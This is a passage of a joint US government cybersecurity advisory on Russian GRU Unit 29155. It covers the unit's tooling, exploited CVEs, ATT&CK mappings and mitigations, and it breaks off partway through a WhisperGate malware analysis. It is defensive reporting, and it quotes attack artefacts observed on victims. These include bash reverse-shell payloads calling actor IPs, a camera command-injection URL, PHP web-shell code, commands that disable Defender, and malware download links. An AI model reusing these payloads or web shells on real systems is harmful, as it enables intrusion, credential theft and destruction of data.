• Acunetix: Unit 29155 cyber actors leveraged both Acunetix and Nmap to identify open ports, services, and vulnerabilities for networks [T1595.002].[6]
• Amass: Unit 29155 cyber actors leveraged both Amass and VirusTotal to obtain subdomains for target websites [T1590.002].[7]
• Droopescan[8]
• JoomScan[9]
• MASSCAN: Unit 29155 cyber actors used MASSCAN and Nmap to discover other machines once inside victim networks.[10]
• Netcat[11]
• Nmap: Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the Nmap Scripting Engine [NSE]) to write custom scripts for discovering and scanning other machines [T1046].
• Shodan: Unit 29155 cyber actors used Shodan to identify hosts with a specific set of vulnerabilities or device types [T1596.005].[12]
• VirusTotal[13]
• WPScan

Additionally, Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration [T1572] over port 1194, and in some instances, to perform Active Directory (AD) enumeration. Adminer in combination with Impacket and ldapdomaindump were tools used for gathering information on AD. Once active devices are found, Unit 29155 cyber actors look for vulnerabilities to exploit. For example, the Acunetix vulnerability scanning tool has been used for gathering information on potential vulnerabilities such as blind cross-site scripting, as shown in the following commands:

GET /index.php?log=to@example.com>%0d%0abcc:009247.3183-377.3183.1bf6c.19446.2@bxss.me

"GET /CMS/files/log.htm HTTP/1.1" * * "(nslookup hitccruvbrumn76c1b.bxss.me||perl -e \"gethostbyname('hitccruvbrumn76c1b.bxss.me')\")"

As the cyber actors perform reconnaissance on victim networks and discover vulnerabilities within victim web servers or machines, they obtain CVE exploit scripts from GitHub repositories and use them against victim infrastructure [T1588.005]. Unit 29155 cyber actors have been observed obtaining the respective exploit scripts for, but not exploiting, the following CVEs:

• CVE-2020-1472 (Microsoft: Windows Server)
• CVE-2021-26084 (Atlassian Confluence Server and Data Center)
• CVE-2021-3156 (Red Hat: Privilege Escalation via Command Line Argument Parsing)
• CVE-2021-4034 (Red Hat: Polkit Privilege Escalation)
• CVE-2022-27666 (Red Hat: Heap Buffer Overflow Flaw)

Analysis concluded Unit 29155 cyber actors have exploited the following CVEs for initial access [T1190], as detailed throughout this advisory:

• CVE-2021-33044 (Dahua Security)
• CVE-2021-33045 (Dahua Security)
• CVE-2022-26134 (Atlassian Confluence Server and Data Center)
• CVE-2022-26138 (Atlassian Confluence Server and Data Center)
• CVE-2022-3236 (Sophos: Firewall)

Resource Development

Rather than build custom solutions, Unit 29155 cyber actors use common red teaming techniques and publicly available tools to conduct cyber operations. As a result, many TTPs overlap with those of other cyber actors, which can lead to misattribution.

Unit 29155 actors and their cyber-criminal affiliates commonly maintain accounts on dark web forums; this has provided the opportunity to obtain various hacker tools such as malware and malware loaders [T1588.001] like Raspberry Robin and SaintBot. While Unit 29155 cyber actors are best known for their use of WhisperGate malware against Ukraine, the use of WhisperGate is not unique to the group. Technical analysis can be found in Appendix A: WhisperGate Malware Analysis.

Initial Access

Unit 29155 cyber actors are known to use VPNs to anonymize their operational activity. These cyber actors commonly attempt to exploit weaknesses in internet-facing systems, like the CVEs listed above, to initially access networks. In one instance, Unit 29155 cyber actors exploited CVE-2021-33044 and CVE-2021-33045 on Dahua IP cameras to bypass identity authentication.

Lateral Movement

Unit 29155 cyber actors have used Shodan to scan for Internet of Things (IoT) devices, using exploitation scripts to authenticate to IP cameras with default usernames and passwords [T1078.001], and exfiltrating images [T1125] (JPG files). Attempts are then made to perform remote command execution via web to vulnerable IP cameras; if successful, cyber actors would dump configuration settings and credentials in plaintext (as shown in Table 1 below) [T1552.001].

Appendix B: Indicators of Compromise lists threat actor IP addresses associated with the activity detailed in this section.

Note: These events are independent and not correlated as a single timeline of compromise.

Event	Victim Observation
Web requests observed from victim infrastructure	These requests are likely intended to dump configuration settings and credentials [T1003]: hxxp://<IP>:<port>/PictureCatch.cgi?username=<NAME>&password=%3becho%20%22%3c%21--%23include%20file=%22SYS_CFG%22--%3e%22%3etmp/Login.htm%3b&data_type=1&attachment=1&channel=1&secret=1&key=PWNED hxxp://<IP>:<port>/ssi.cgi/tmp/Login.htm
POST requests sent to victims with payloads [T1071.001]	"txtUser=lol&txtPassword=2&btConnect=Piesl%C4%93gtiesbtConnect=Piesl%C4%93gties&chRemember=on&txtPassword=g00dPa%24%24w0rD&txtUser=$%7b@print(system(%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F179.43.175.38%2F6870%200%3E%261%22))%7d" "txtUser=lol&txtPassword=2&btConnect=Piesl%C4%93gtiesbtConnect=Piesl%C4%93gties&chRemember=on&txtPassword=g00dPa%24%24w0rD&txtUser=$%7b@print(system(%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F81.17.24.130%2F6870%200%3E%261%22))%7d"
URL encoded values from txtUser for both commands decoded to embedded bash commands	${@print(system("bash -i >& /dev/tcp/179.43.175.38/6870 0>&1"))} ${@print(system("bash -i >& /dev/tcp/81.17.24.130/6870 0>&1"))}

In addition, incident analysis identified the general observations listed below on victim infrastructure. Each event should be considered independent and may have been used by Unit 29155 cyber actors against multiple victims at different dates and timeframes. Appendix B: Indicators of Compromise lists IOCs associated with the observations in Table 1 and below.

• In one instance shortly following a deployment of WhisperGate malware, Unit 29155 cyber actors exfiltrated data to mega[.]nz using Rclone [T1567.002].
• Unit 29155 cyber actors used a Pass-the-Hash [T1550.002] via ProxyChains.
• Cyber actors performed SSH and SSHPass executions.
• Cyber actors initiated a web request and executed commands via ProxyChains. This included obtaining NT hashes via Server Message Block (SMB) using smbclient, executing Windows Management Instrumentation (WMI) with hashes, and making web requests with resources i.php and tunnel.jsp. In one instance, cyber actors used smbclient via ProxyChains to access internal network shares, and subsequently PSQL and MySQL clients to access internal databases.
• Cyber actors used Impacket for post-exploitation and lateral movement. The script secretsdump.py was used from the Impacket framework to obtain domain credentials, while psexec.py was subsequently used to move laterally within a victim network. 
• Cyber actors used ntlmrelayx.py via Impacket and krbrelayx.py, which requires Impacket to function.
• Cyber actors used Responder.py.
• Cyber actors used su-bruteforce to brute force a selected user using the su command.
• Cyber actors used BloodHound, an open source AD reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.
• Cyber actors used CrackMapExec via ProxyChains with SMB protocol targeting internal victim IP addresses. This open source post-exploitation tool automates assessing the security of large AD networks.
• Cyber actors used LinPEAS, an open source script designed to automate the process of searching for potential privilege escalation vulnerabilities on a Linux victim.
• Cyber actors used GO Simple Tunnel (GOST) (MD5: 896e0f54fc67d72d94b40d7885f10c51) for 30 days within one incident and against additional victims on various occasions. GOST is a tunneling tool designed to establish secure connections between clients and servers, allowing for secure data transmission over untrusted networks.
• Cyber actors used Through the Wire against a victim’s internet-facing Confluence server. Through the Wire is a proof of concept[14] exploit for CVE-2022-26134, an OGNL injection vulnerability allowing an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All versions of Confluence Server and Data Center prior to the fixed versions listed by Atlassian are affected by this vulnerability.[15] A reverse shell over HTTPS was used to communicate over listening host on port 8081.
• Cyber actors initiated Nmap scans on localized web servers.
• Cyber actors performed lateral movement from compromised web servers to exploit a corporate Microsoft Windows network, commonly using psexec.py from the Impacket framework. The script secretsdump.py from the Impacket framework was used to obtain domain credentials.
• Cyber actors may have used Raspberry Robin malware in the role of an access broker [T1588.001].
• Cyber actors targeted victims’ Microsoft Outlook Web Access (OWA) infrastructure with password spraying to obtain valid usernames and passwords [T1110.003].

Command and Control

Infrastructure

Since at least 2020, Unit 29155 cyber actors have used virtual private servers (VPSs) [T1583.003] to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data. Use of VPSs are common due to the associated IP addresses not identifying their true country of origin.

Post-Exploitation

When an exploit is successfully executed on a victim system, the actors can then launch a Meterpreter payload [T1105], which commonly uses a reverse Transmission Control Protocol (TCP) connection to initiate communication with the threat actors’ infrastructure [T1095]. In one instance, an established reverse TCP session was observed from victim to actor infrastructure via the following ports:

• 1234
• 1851
• 43221
• 443
• 4444
• 4688
• 5432
• 8080
• 8081
• 8082
• 8084
• 8085
• 8088
• 8089
• 8090
• 8443
• 8487
• 8888

Additional observations were collected from victim engagement and analysis, including:

• Use of the Metasploit Framework to search for and/or access modules such as mysql, postgres, and ssh software and features.
• Use of Meterpreter and Netcat to execute reverse shells over ports such as 8081.
• Use of Impacket.
• Use of PHP (exp_door v1.0.2, b374k, WSO 4.0.5) and the P.A.S. web shells [T1505.003], likely for initial access.
• Use of EternalBlue.[16],[17]
• Use of reGeorg or Neo-reGeorg to set up a proxy to tunnel network traffic following compromise of a victim website, as well as use of ProxyChains to run Nmap within the network.

Encrypted Communication

Once Unit 29155 cyber actors gain access to the victims’ internal network, the victims have observed:

1. Using Domain Name System (DNS) tunneling tools, such as dnscat/2 and Iodine, to tunnel IPv4 network traffic [T1071.004]. For example, Iodine was used to tunnel data via dns.test658324901domain.me.
2. Configuring a proxy within the victim infrastructure and executing commands within the network via ProxyChains. ProxyChains—a tool used to route internal traffic through a series of proxies [T1090.003]—has been used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports. The following ports used by actor infrastructure include:
   1. 1080
   2. 1333
   3. 13381
   4. 13391
   5. 13666
   6. 13871
   7. 1448
   8. 1888
   9. 3130
   10. 3140
   11. 4337
   12. 50001
   13. 8079
3. Using the GOST open source tunneling tool (via SOCKS5 proxy) named java, as detailed in the following running processes in victim incident response results:

8212 - SJ 0:02.54 HISTFILE=/dev/null
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib OLDPWD=/tmp
PWD=/tmp/.ICE-unix HOME=/ RC PID=33980 ./java –L
socks5://127.0.0.1:13338

8282 - IJ 0:03.98 HISTFILE=/dev/null
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib OLDPWD=/tmp
PWD=/tmp/.ICE-unix HOME=/ RC_PID=33980 ./java –L
rtcp://0.0.0.0:13381/127.0.0.1:13338 -F socks5://{IP Address}:7896

1. Modifying .php scripts to manipulate server-side operations, such as the observations listed in Table 2 below.

Script (Base64 Decoded)	Command	Purpose
usr/local/www/apache24/data/-redacted-/plugins/extension/oomla/oomla.php	if (isset($ POST ["sessionsid_wp"] )) { $poll id = $ POST ["sessionsid_wp") ; $sessii = explode(":", base64_decode($poll_id)) ;$sock=fsockopen($sessii[O) ,$sessii[l)); $proc=proc_open(/bin/sh -i), array(O=>$sock, l=>$sock, 2=>$sock) ,$pipes); }	Creates session.
Usr/local/www/apache24/data/-redacted-/plugins/authentication/joomla/oomla.php	function nb_res($a) { eval(system('base64 decode ($a) '); }	Allows program to run.
Usr/local/www/apache24/data/-redacted-/plugins/privacy/contact/contact.php	if (isset($_POST['fl'])) { $fl=$_POST['fl'] ; $f2=$_POST['f2'] ; $content = base64 decode($fl); $h = fopen($f2."w"); $text = "$content"; fwrite($h.$text) ; fclose ($h) ; }	Allows writing to files.

Exfiltration

In several instances, analysis identified Unit 29155 cyber actors compressing victim data [T1560] (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure. These cyber actors commonly use the command-line program Rclone to exfiltrate data to a remote location from victim infrastructure.

Unit 29155 cyber actors have exfiltrated Windows processes and artifacts, such as Local Security Authority Subsystem Service (LSASS) memory dumps [T1003.001], Security Accounts Manager (SAM) files [T1003.002], and SECURITY and SYSTEM event log files [T1654]. As seen in victim incident response results, actor infrastructure has also been used to compromise multiple mail servers [T1114] and exfiltrate mail artifacts, such as email messages, using PowerShell [T1059.001] via the following command:

powershell New-MailboxExportRequest – Mailbox <resource> – FilePath `\\{IP Address}\sharefolder\1.pst`

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 14 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Reconnaissance

Technique Title	ID	Use
Gather Victim Network Information: DNS	T1590.002	Unit 29155 cyber actors have used Amass and VirusTotal to obtain information about victims’ DNS for possible use during targeting, such as subdomains for target websites.
Active Scanning	T1595	Unit 29155 cyber actors use publicly available tools to gather information for possible use during targeting.
Active Scanning: Scanning IP Blocks	T1595.001	Unit 29155 cyber actors use various open source scanning tools to scan for victim IP ranges.
Active Scanning: Vulnerability Scanning	T1595.002	Unit 29155 cyber actors use publicly available scanning tools to enable their discovery of IoT devices and exploitable vulnerabilities. Tools leveraged for scanning include Acunetix, Amass, Droopescan, eScan, and JoomScan.
Search Open Technical Databases: Scan Databases	T1596.005	Unit 29155 cyber actors use publicly available platforms like Shodan to identify internet connected hosts.

Table 4: Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003	Unit 29155 cyber actors have used VPSs to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data.
Obtain Capabilities: Malware	T1588.001	Unit 29155 cyber actors obtain publicly available malware and malware loaders to support their operations. For example, analysis suggests Raspberry Robin malware may have been used in the role of an access broker.
Obtain Capabilities: Exploits	T1588.005	Unit 29155 cyber actors are known to obtain CVE exploit scripts from GitHub repositories and use them against victim infrastructure.

Table 5: Initial Access

Technique Title	ID	Use
Valid Accounts: Default Accounts	T1078.001		Unit 29155 cyber actors use exploitation scripts to authenticate to IP cameras with default usernames and passwords.
Exploit Public-Facing Application	T1190	Unit 29155 cyber actors have used a variety of public exploits, including CVE-2021-33044, CVE-2021-33045, CVE-2022-26134, and CVE-2022-26138. The proof of concept exploit for CVE-2022-26134, Through the Wire, has also been used against a victim’s internet-facing Confluence server.

Table 6: Execution

Technique Title	ID	Use
Command and Scripting Interpreter: PowerShell	T1059.001	Unit 29155 cyber actors have used PowerShell to execute commands and other operational tasks.

Table 7: Persistence

Technique Title	ID	Use
Server Software Component: Web Shell	T1505.003	Unit 29155 cyber actors use web shells to establish persistent access to systems.

Table 8: Credential Access

Technique Title	ID	Use
OS Credential Dumping: LSASS Memory	T1003.001	Unit 29155 cyber actors have exfiltrated LSASS memory dumps to retrieve credentials from victim machines.
OS Credential Dumping: Security Account Manager	T1003.002	Unit 29155 cyber actors have exfiltrated usernames and hashed passwords from the SAM.
Brute Force: Password Spraying	T1110.003	Unit 29155 cyber actors targeted victims’ Microsoft OWA infrastructure with password spraying to obtain valid usernames and passwords.
Unsecured Credentials: Credentials in Files	T1552.001	Following exploitation of vulnerable IP cameras, Unit 29155 cyber actors dump configuration settings and credentials in plaintext.

Table 9: Discovery

Technique Title	ID	Use
Network Service Discovery	T1046	Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the NSE) to write custom scripts for discovering and scanning other machines.
Log Enumeration	T1654	Unit 29155 cyber actors have enumerated and exfiltrated SECURITY and SYSTEM logs.

Table 10: Lateral Movement

Technique Title	ID	Use
Use Alternate Authentication Material: Pass the Hash	T1550.002	Unit 29155 cyber actors used Pass-the-Hash to authenticate via SMB.

Table 11: Collection

Technique Title	ID	Use
Email Collection	T1114	Unit 29155 cyber actors have used their infrastructure to compromise multiple victims’ mail servers and exfiltrate mail artifacts, such as email messages.
Video Capture	T1125	Unit 29155 cyber actors have exploited IoT devices, specifically IP cameras with default usernames and passwords, and exfiltrated images.
Data from Information Repositories: Confluence	T1213.001	Unit 29155 cyber actors leveraged Through the Wire against the victim’s internet-facing Confluence server.
Archive Collected Data	T1560	Unit 29155 cyber actors compress victim data (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure.

Table 12: Command and Control

Technique Title	ID	Use
Proxy: Multi-hop Proxy	T1090.003	Unit 29155 cyber actors executed commands via ProxyChains—a tool used to route internal traffic through a series of proxies. ProxyChains was also used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports.
Application Layer Protocol: Web Protocols	T1071.001	Unit 29155 cyber actors use POST requests over HTTP to send payloads to victims.
Application Layer Protocol: DNS	T1071.004	Unit 29155 cyber actors used DNS tunneling tools, such as dnscat/2 and Iodine, to tunnel IPv4 network traffic.
Non-Application Layer Protocol	T1095	Unit 29155 cyber actors commonly use a reverse TCP connection to initiate communication with their infrastructure.
Ingress Tool Transfer	T1105	When an exploit is successfully executed on a victim system, Unit 29155 cyber actors are known to launch the Meterpreter payload to initiate communication with their actor-controlled systems.
Protocol Tunneling	T1572	Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration to tunnel traffic over a single port (1194), VPNs, and GOST to anonymize their operational activity.

Table 13: Exfiltration

Technique Title	ID	Use
Exfiltration Over Web Service: Exfiltration to Cloud Storage	T1567.002	Unit 29155 cyber actors exfiltrated data to the cloud storage and file hosting service, MEGA (mega[.]nz), using Rclone.

Table 14: Impact

Technique Title	ID	Use
Data Destruction	T1485	Unit 29155 cyber actors’ objectives include the destruction of data.

Mitigations

The authoring agencies recommend organizations implement the mitigations supplied below to improve organizational cybersecurity posture based on threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Limit Adversarial Use of Common Vulnerabilities

• Prioritize patching to CISA’s Known Exploited Vulnerabilities Catalog, especially for CVEs identified in this advisory, and then critical and high vulnerabilities that allow for remote code execution on internet-facing devices.
• Conduct regular automated vulnerability scans to perform vulnerability assessments on all network resources based on threat actor behaviors and known exploitable vulnerabilities (CISA CPG 1.E).
• Limit exploitable services on internet-facing assets, such as email and remote management protocols (CISA CPGs 2.M, 2.W). Where necessary services must be exposed, such as services hosted in a demilitarized zone (DMZ), implement the appropriate compensatory controls to prevent common forms of abuse and exploitation. Disable all unnecessary operating system applications and network protocols to combat adversary enumeration. For additional guidance, see CISA Insights: Remediate Vulnerabilities for Internet-Accessible Systems.
• U.S. organizations can utilize a range of CISA services at no cost, including vulnerability scanning and testing, to help organizations reduce exposure to threats. CISA Cyber Hygiene services can provide additional review of internet-accessible assets and provide regular reports on steps to take to mitigate vulnerabilities. Email vulnerability@cisa.dhs.gov with the subject line, “Requesting Cyber Hygiene Services,” to get started.
• Software manufacturers, vendors, and consumers are encouraged to review CISA and NIST’s Defending Against Supply Chain Attacks. This publication provides an overview of software supply chain risks and recommendations for how software customers and vendors can use the NIST Cyber Supply Chain Risk Management (C-SCRM) Framework and the Secure Software Development Framework (SSDF) to identify, assess, and mitigate software supply chain risks. CISA recommends comprehensive mitigations for supply chain incident reporting, vulnerability disclosing (e.g., security.txt), and choosing a trusted supplier or vendor that observes proper cyber security hygiene (CISA CPG 1.G, 1.H, 1.I) to defend against upstream attacks.

Deploy Protective Controls and Architecture

• Implement network segmentation. Network segmentation can help prevent lateral movement by controlling traffic flows between—and access to—various subnetworks (CISA CPG 2.F). Best practice mitigations include updating Identity and Access Management (IAM) and employing phishing-resistant MFA for all devices and accounts identified as organizational assets. For additional guidance, see CISA and NSA’s IAM Recommended Best Practices Guide for Administrators (CISA CPG 2.H).
• Verify and ensure that sensitive data, including credentials, are not stored in plaintext and can only be accessed by authenticated and authorized users. Credentials must be stored in a secure manner, such as with a credential/password manager to protect from malicious enumeration (CISA CPG 2.L).
• Disable and/or restrict use of command line and PowerShell activity. Update to the latest version and uninstall all earlier PowerShell versions (CISA CPG 2.N).
• Implement a continuous system monitoring program, such as security information and event management (SIEM) or endpoint detection and response (EDR) solutions, to comprehensively log and review all authorized external access connections. This logging will better ensure the prompt detection of misuse or abnormal activity (CISA CPG 2.T).
• Monitor for unauthorized access attempts and programming anomalies through comprehensive logging that is secured from modification, such as limiting permissions and adding redundant remote logging (CISA CPG 2.U). Security appliances should be set to detect and/or block Impacket framework indicators, PSExec or WMI commands, and suspicious PowerShell commands for timely identification and remediation.
• Identify any use of outdated or weak encryption, update these to sufficiently strong algorithms, and consider the implications of post-quantum cryptography (CISA CPG 2.K). Use properly configured and up-to-date Secure Socket Layer (SSL)/Transport Layer Security (TLS) to protect data in transit.

Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 14).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

• MITRE: WhisperGate
• CISA AA22-057A: Destructive Malware Targeting Organizations in Ukraine
• DOJ Press Release: Russian National Charged for Conspiring with Russian Military Intelligence to Destroy Ukrainian Government Computer Systems and Data
• FBI: Cyber Crime
• CISA: Russia Cyber Threat Overview and Advisories
• MITRE: Group G1003 - Ember Bear
• MITRE: Impacket
• NIST NVD: CVE-2020-1472
• NIST NVD: CVE-2021-26084
• NIST NVD: CVE-2021-3156
• NIST NVD: CVE-2021-4034
• NIST NVD: CVE-2022-27666
• NIST NVD: CVE-2021-33044
• NIST NVD: CVE-2021-33045
• NIST NVD: CVE-2022-26134
• NIST NVD: CVE-2022-26138
• NIST NVD: CVE-2022-3236
• MITRE: BloodHound
• MITRE: Rclone
• MITRE: P.A.S. Webshell
• CISA: Known Exploited Vulnerabilities Catalog
• CISA Insights: Remediate Vulnerabilities for Internet-Accessible Systems
• CISA, NIST: Defending Against Supply Chain Attacks
• CISA, NSA: IAM Recommended Best Practices Guide for Administrators

References

1. Microsoft Threat Intelligence Center: Destructive Malware Targeting Ukrainian Organizations
2. Microsoft Threat Intelligence Center: Cadet Blizzard Emerges as a Novel and Distinct Russian Threat Actor
3. CrowdStrike: EMBER BEAR Threat Actor Profile
4. Mandiant Threat Intelligence: Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation 
5. SentinelOne: Threat Actor UAC-0056 Targeting Ukraine with Fake Translation Software
6. Introduction to Acunetix
7. GitHub: OWASP Amass
8. Kali Linux Tutorials: Droopescan
9. GitHub: OWASP JoomScan
10. Kali.org: MASSCAN
11. DigitalOcean: How To Use Netcat to Establish and Test TCP and UDP Connections
12. Shodan: What is Shodan?
13. VirusTotal: How it Works
14. GitHub: Through the Wire
15. Confluence Security Advisory: Confluence Server and Data Center - CVE-2022-26134
16. Microsoft: Security Bulletin MS17-010
17. Avast: What is EternalBlue and Why is the MS17-010 Exploit Still Relevant?
18. Palo Alto Networks Unit 42: Threat Brief - Ongoing Russia and Ukraine Cyber Activity
19. CERT-UA#3799 Report
20. Bellingcat: Attack on Ukrainian Government Websites Linked to GRU Hackers
21. Trend Micro: Cyberattacks are Prominent in the Russia-Ukraine Conflict

Contact Information

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

September 5, 2024: Initial version.

Appendix A: WhisperGate Malware Analysis

Overview

This technical analysis details the WhisperGate malware deployed against Ukraine; samples were collected from one victim and analyzed. The analysis provides insight into Unit 29155 cyber actor infrastructure used for network scanning, password compromising, and data exfiltration against Ukraine, NATO members in Europe and North America, and countries in Latin America and Central Asia.

Unit 29155 cyber actors’ use of WhisperGate involved the deployment of the malware files, stage1.exe and stage2.exe. WhisperGate has two stages that corrupts a system’s master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions (see AA22-057A). The actors used multiple Discord accounts to store malware files, including what appears to be development versions or iterations of the binaries. Discord is commonly leveraged by threat actors as an endpoint for malware distribution and control; in this case, it was used to obtain the next step of the infection chain by directly sharing files through its platform. In the case of stage2.exe, the binary communicated with Discord to obtain Tbopbh.jpg—the malicious payload that is in-memory loaded and performs the destructive capabilities.[18]

Categorization

The Discord accounts associated with the WhisperGate campaign are categorized into three main clusters, labeled below as Clusters 1, 2, and 3. All clusters used Discord as a staging environment for malware deployment. These groupings are based on analysis of threat actor IP addresses and the nature of the malware that existed within the accounts. The following sections include notable details found within each cluster.

Cluster 1

Cluster 1 contained the following files:

• hxxps://cdn.discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg (a resource, e.g., payload, for stage2.exe)[18]
• saint.exe (a downloader, SaintBot, as detailed by CERT-UA)[19]
• puttyjejfrwu.exe[19]

Cluster 2

Cluster 2 contained:

• hxxps://cdn.discordapp[.]com/attachments/888408190625128461/895633952247799858/n.lashevychdirekcy.atom.gov.ua.zip (means for sending malware in over 35 different zip files via Discord links)[20]
• Several Microsoft Word documents with macros that download test01.exe from 3237.site. Once executed, test01.exe downloads load2022.exe from smm2021.net.

Cluster 3

Cluster 3 contained:

• hxxps://cdn.discordapp[.]com/attachments/945968593030496269/945970446149509130/Client.exe (Note: Unit 29155 cyber actors’ use of Client.exe was confirmed as linked to the activity, but the file was not obtained for analysis and functionality cannot be confirmed.) 
• asd.exe (likely a development version of stage1.exe)

Behavioral Analysis

Two Windows Portable Executable (PE) files (stage1.exe and stage2.exe) were obtained from the Ukrainian victim for analysis. One PE file (asd.exe) was obtained from a U.S. victim.

stage1.exe

stage1.exe was obtained from the C:\ path of the Ukrainian victim’s Windows machine. stage1.exe executes when the infected device is powered down, overwriting the master boot record (MBR) and preventing the system from booting normally. Table 15 lists the hashes and properties attributed to stage1.exe.

Table 15: stage1.exe Properties

MD5	5d5c99a08a7d927346ca2dafa7973fc1
SHA-256	a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
Compiler	MinGW(GCC: (GNU) 6.3.0)[-]
Linker	GNU linker Id (GNU Binutils)(2.28)[GUI32]
TimeDateStamp	2022-01-10 05:37:18
Execution Message	Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, You should pay us $10k via bitcoin wallet 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 with your organization name. We will contact you to give further instructions.

Table 16: asd.exe Properties

MD5	eac0ae655d344c25ff467a929790885c
SHA-256	b9e64b58d7746cb1d3bed20405ef34d097af08c809d8dad10b9296b0bebb2b0b
Compiler	MinGW(GCC: (GNU) 6.3.0)[-]
Linker	GNU linker Id (GNU Binutils)(2.28)[Console32,console]
TimeDateStamp	1969-12-31 19:00:00

asd.exe is likely a development version of stage1.exe. While the behavior of asd.exe is similar to stage1.exe, the messages displayed were different.

stage2.exe

stage2.exe was obtained from the C:\ path of the Ukrainian victim’s Windows machine. Table 17 lists the hashes and properties attributed to stage2.exe.

Table 17: stage2.exe Properties

MD5	764f691b2168e8b3b6f9fb6582e2f819
SHA-256	aa79afbf82b06cda268664b7c83900d8f7a33e0f0071facba0b3d8f7a68ce56a
Library	.NET(v4.0.30319)[-]
Linker	Microsoft Linker(6.0)(GUI32,signed)
TimeDateStamp	2022-01-10 09:39:54

Table 18 lists the following chronological observations when stage2.exe executes.

Table 18: stage2.exe Behavioral Analysis Observations

Event	Victim Observation
PowerShell command executed twice	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" –enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
Base64 UTF-16LE string decoded	Start-Sleep -s 10
HTTP GET request sent to Discord URL to download Tbopbh.jpg	hxxp://cdn.discordapp.com/attachments/ 928503440139771947/930108637681184768/Tbopbh[.]jpg
Nmddfrqqrbyjeygggda.vbs created and executed within the %TEMP% directory	The Visual Basic Script (VBS) file contained the following command: CreateObject(“WScript.Shell”).Run “powershell Set-MpPreference -ExclusionPath ‘C:\’”, 0, False
AdvancedRun.exe created and executed twice	C:\Users\<user>\AppData\Local\Temp\AdvancedRun.exe” /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend”  /StartDirectory “” /RunAs 8 /Run C:\Users\<user>\AppData\Local\Temp\AdvancedRun.exe” /EXEFilename “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” /WindowState 0 /CommandLine “rmdir ‘C:\ProgramData\Microsoft\Windows Defender’ –Recurse” /StartDirectory “” /RunAs 8 /Run
InstallUtil.exe created and executed; files corrupted following execution	C:\Users\<user>\AppData\Local\Temp\InstallUtil.exe

Static Analysis

Static analysis was further conducted on two files (stage2.exe, Tbopbh.jpg) to uncover additional malware functionality and attributes.

stage2.exe

Static analysis was performed on a variant of stage2.exe; its hashes and properties are listed in Table 19 below. Of note, the MD5 and SHA-256 hash values were different than those obtained from the Ukrainian victim machine (listed above in Table 17). Behavioral analysis was also performed on the below variant and both files exhibited the same behavior.

Table 19: stage2.exe Variant Properties

MD5	14c8482f302b5e81e3fa1b18a509289d
SHA-256	dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
Library	.NET(v4.0.30319)[-]
Linker	Microsoft Linker(6.0)(GUI32,signed)
TimeDateStamp	2022-01-10 09:39:54

This variant of stage2.exe contained multiple layers of execution:

